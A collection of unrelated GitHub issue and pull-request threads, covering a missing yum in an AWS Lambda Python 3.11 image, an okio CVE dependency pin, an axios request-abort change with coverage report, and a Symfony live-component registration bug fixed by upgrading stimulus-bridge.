True, UDP is fire&forget protocol. Here we're checking for PHP resource rather than if the resource is UDP socket or can make UDP connections. If I understand the check correctly it is just to have nice, exception based, error handling, rather than bubble internal PHP error from socket_sendto() call (not a resource or something similar).
Idea: how about having public API to check if handler can perform write() operation? Such API would allow for handler user to make verification at init or runtime - whatever fits them better. It would be also nice framework for handlers contributors IMHO. Currently the code is a bit unreadable, i.e. take StreamHandler class.

OK I think it's not a really big deal either way but it sounds alright so merging :)


Yum Not Available in Python 3.11 Image

Yum is not available in the latest Python 3.11 image, public.ecr.aws/lambda/python:3.11.2<IP_ADDRESS>.
Command to reproduce the issue:
docker run -it --entrypoint yum public.ecr.aws/lambda/python:3.11.2<IP_ADDRESS> --help

Output:
docker: Error response from daemon: failed to create shim: OCI runtime create failed: container_linux.go:380: starting container process caused: exec: "yum": executable file not found in $PATH: unknown.
ERRO[0000] error waiting for container: context canceled

I'm facing the same error. In python:3.10  this error doesn't happen.
It's weird because 3.11 images were recently updated:

https://gallery.ecr.aws/lambda/python

I would say to you use dfn  instead of yum but dfn is not working in 3.11
https://github.com/aws/aws-lambda-base-images/issues/127

The workaround I'm using is building from the previous image, public.ecr.aws/lambda/python:3.11.2<IP_ADDRESS>.

Same issue with python3.11, previous image also uses arch for me. Strange.

We are having similar issues with our deployment. Things not building and getting this:
ImportError: libffi.so.6: cannot open shared object file: No such file or directory

When pip installing bs4, pymeeus

Having a similar issue. When attempting to use previously working image tags for 3.11, this issue continues to appear.

Looks like the underlying image was constructed from Amazon Linux 2 for the last known working images vs. Amazon Linux 2023 for the current, broken image...

Also, this blog post says:

With the launch of provided.al2023 you can migrate your AL2 custom runtime-based Lambda functions right away. It also sets the foundation of future Lambda managed runtimes. The future releases of managed language runtimes such as Node.js 20, Python 3.12, Java 21, and .NET 8 are based on Amazon Linux 2023 and will use provided.al2023 as the base image.

Which seems to imply that while the Python 3.12 runtime would be based on Amazon Linux 2023, the older ones would continue to use Amazon Linux 2.

Error message that I get when calling dnf within the latest public.ecr.aws/lambda/python:3.11 image:
dnf: /var/lang/lib/liblzma.so.5: version `XZ_5.2' not found (required by /lib64/librpmio.so.9)

I was able to reproduce this same error.

Error message that I get when calling dnf within the latest public.ecr.aws/lambda/python:3.11 image:
dnf: /var/lang/lib/liblzma.so.5: version `XZ_5.2' not found (required by /lib64/librpmio.so.9)

I was able to reproduce this same error.

Me three

Thanks @mjtieman for flagging. We can confirm the issue. A fix is in progress. I will post an update when it is released. In the meantime, as a workaround please use the previous Python 3.11 image as discussed above.

I'm facing the same issue, and i'm also getting this error too.
Unable to import module 'main': libffi.so.6: cannot open shared object file: No such file or directory

We have published an updated Python 3.11 image which addresses this issue. Our apologies for any inconvenience caused.

@jtuliani
so we would need to use dnf update -y to resolve security issues?
https://alas.aws.amazon.com/AL2/ALAS-2023-2350.html


Update okio to 3.4.0 to mitigate CVE-2023-3635

Description
The above CVE appears in okio versions before 3.4.0. Since apollo-runtime depends on okio 3.2.0.  it is being flagged by security scanners such as snyk.io
Could apollo-runtime be updated to use okio 3.4.0 and a new 3.8.x release made for us to consume?

Hi 👋 You can update without waiting for an Apollo release. Pin the okio version in your dependencies:
dependencies {
   // update okio for CVE-2023-3635
   implementation("com.squareup.okio:okio:3.4.0")
}

Apollo Kotlin doesn't use GzipSource and is not subject to the CVE. If you're using GzipSource in your app, you should declare the okio dependency explicitely instead of relying on Apollo Kotlin to pull okio in the classpath.

Thanks for the quick response. In my case I am not using okio directly, but I have temporarily added it so that the version is updated to 3.4.0 (i.e. the same as you suggested above).  I'd like to remove the temporary addition as soon as I can, once a new apollo-runtime is available so I created this issue hoping that a new version could be released in the not too distant future :-)

I'd like to remove the temporary addition as soon as I can

This is the proper solution to silence the security scanner, you don't need to make it temporary.
We are usually are keen on updating dependencies but in that specific case, there's no real upside to updating (the warning is a false positive that can be removed by the consumer) and there is a small downside (okio 3.4.0 requires to be compiled with a newer version of Kotlin).
All in all, we'll probably end up upgrading in version 4.


Search Algorithms Refactor: Relevancy Changes

~🤖  API Diff Put the link of the GitHub comment generated by bump.sh if generated; Apply the OpenApi label~

Summary

Introduce information about relevancy changes brought by #3542 that are worth being mentioned
Clean old specifications related to relevancy

Changes
Cleaning

Remove the old 0036-exactness-criterion.md specification - Ranking rules have already been described in 0123-ranking-rules-setting-api.md.
Remove the old 0030-asc-desc-criterion.md specification - Ranking rules have already been described in 0123-ranking-rules-setting-api.md.

Addition/Update

...

Out Of Scope
N/A

Attention To Reviewers
N/A

Misc

~[] Update OpenAPI specification file (if needed; Apply the OpenApi label)~
~[] Update telemetry datapoints (if needed; Apply the Telemetry label)~

@gmourier, it looks good to me

Looks good to me


Added the abort controller to cancel requests.

Description:
Uses the axios controller abort to cancel requests on timeouts.
Fixes #1065

[ ] Documented (Code comments, README, etc.)
[ ] Tested (unit, integration, etc.)

Codecov Report
Patch coverage: 100.00% and project coverage change: -3.46 :warning:

Comparison is base (418ca96) 74.42% compared to head (fda4179) 70.97%.

:exclamation: Current head fda4179 differs from pull request most recent head b1f8a63. Consider uploading reports for the commit b1f8a63 to get more accurate results

Additional details and impacted files
@@            Coverage Diff             @@
##             main    #1067      +/-   ##
==========================================
- Coverage   74.42%   70.97%   -3.46%
==========================================
  Files          31       18      -13
  Lines        2053     1547     -506
  Branches      391      301      -90
==========================================
- Hits         1528     1098     -430
+ Misses        417      358      -59
+ Partials      108       91      -17

Impacted Files
Coverage Δ

packages/relay/src/lib/clients/mirrorNodeClient.ts
93.53% <100.00%> (+0.12%)
:arrow_up:

packages/relay/src/lib/constants.ts
100.00% <100.00%> (ø)

packages/relay/src/lib/eth.ts
73.76% <100.00%> (-9.57%)
:arrow_down:

... and 16 files with indirect coverage changes
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Some clarifications. Also did we figure out a way to count connections to help confirm?

My reading is the as of node 0.12 max socket connections is set to infinite https://nodejs.org/en/blog/release/v0.12.0.  We might want to limit the number of connection used by the default globalAgent by setting http.globalAgent.maxSockets = 100 or some number like that.
I believe Axios will use the connection pool of the global agent unless you give it a specific one to run with

Some clarifications. Also did we figure out a way to count connections to help confirm?

My reading is that as of node 0.12 max socket connections is set to infinite https://nodejs.org/en/blog/release/v0.12.0. We might want to limit the number of connection used by the default globalAgent by setting http.globalAgent.maxSockets = 100 or some number like that.
I believe Axios will use the connection pool of the global agent unless you give it a specific one to run with

Nice catch. This might be what's happening


[LiveComponent] Live controller isn't registered automatically by startStimulusApp

I created new App (SF 6.1) with symfony/webpack-encore-bundle:^1.14.
I installed symfony/ux-live-component:^2.6 and ran yarn install
I set up everything correctly:  I enabled stimulus bridge in my webpack file, controllers.json was created, I imported bootstrap.js and so on.
Everything worked fine (stimulus, custom lazy loaded controllers), live component rendered correctly with data-controller="live" attribute. However there were no ajax actions triggered by live#$render or live#$action.

My controllers.json file
{
    "controllers": {
        "@symfony/ux-live-component": {
            "typed": {
                "enabled": true,
                "fetch": "eager",
                "autoimport": {
<EMAIL_ADDRESS>true
                }
            }
        }
    },
    "entrypoints": []
}

I had to manually import '@symfony/ux-live-component in my bootstrap.js and then register it as a controller.
import { startStimulusApp } from '@symfony/stimulus-bridge';
import LiveController from '@symfony/ux-live-component'; // <- ADDED MANUALLY
// Registers Stimulus controllers from controllers.json and in the controllers/ directory
export const app = startStimulusApp(require.context(
    '@symfony/stimulus-bridge/lazy-controller-loader!./controllers',
    true,
    /\.[jt]sx?$/
));

// register any custom, 3rd party controllers here
// app.register('some_controller_name', SomeImportedController);

app.register('live', LiveController); // <- ADDED MANUALLY

Then it started to work fine. I guess that it shouldn't behave like that, because that package should be registered by startStimulusApp.
Did I do something wrong? Why did I have to register that controller manually?

It seems good to me. Maybe something cache related? How did you run webpack? When you use watch is usually needs a restart to notice new packages.
Does your webpack.config.js contain:
   // enables the Symfony UX Stimulus bridge (used in assets/bootstrap.js)
    .enableStimulusBridge('./assets/controllers.json')

You should try to remove the app.register('live', LiveController); and restart the watcher or rebuild the app.

Does your webpack.config.js contain:

Yes.

The first few times I used the yarn build command (which creates a production build). Later I changed the command to yarn dev to create development build. I have never used a watcher.
I'll try to prepare a demo app and deploy it somewhere to confirm my settings.

Yea, everything looks good to me too. You literally showed all the code from your app that should be enough to get this working. Very strange.

@1ed @weaverryan I was able to reproduce the issue on my demo app.

You can preview my files and clone the repository -> https://github.com/sabat24/symfony-ux-632 (I left some my js dependencies in package.json)
You can view the example on my website

https://live-demo.sabat24.pl/live - simple live component with page liveProp and updatePage liveAction. It's a basic bootstrap file without any modifications. After clicking a text, live action should be triggered and page should change from 1 to 2. I tested on FF - nothing happened.
To prove that Stimulus working correctly you can test it on https://live-demo.sabat24.pl/hello
https://live-demo.sabat24.pl/live2 - same component but I created another entry point for webpack with my modifications (import and registration of LiveComponent manually). This version works fine.

@sabat24 please run yarn upgrade or just yarn add<EMAIL_ADDRESS>because you are using an old version, which doesn't contain https://github.com/symfony/stimulus-bridge/pull/70. But I don't know how you got that, because when I create a new project I get 3.2.1?

Thanks for that information. This actually solved my problem.
I added stimulus-bridge to my repository on April. The demo repository wasn't created from the scratch. I added stimulus-bridge to my repository on April. The demo repository wasn't created from the scratch. I included my original .lock files to get same dependencies versions.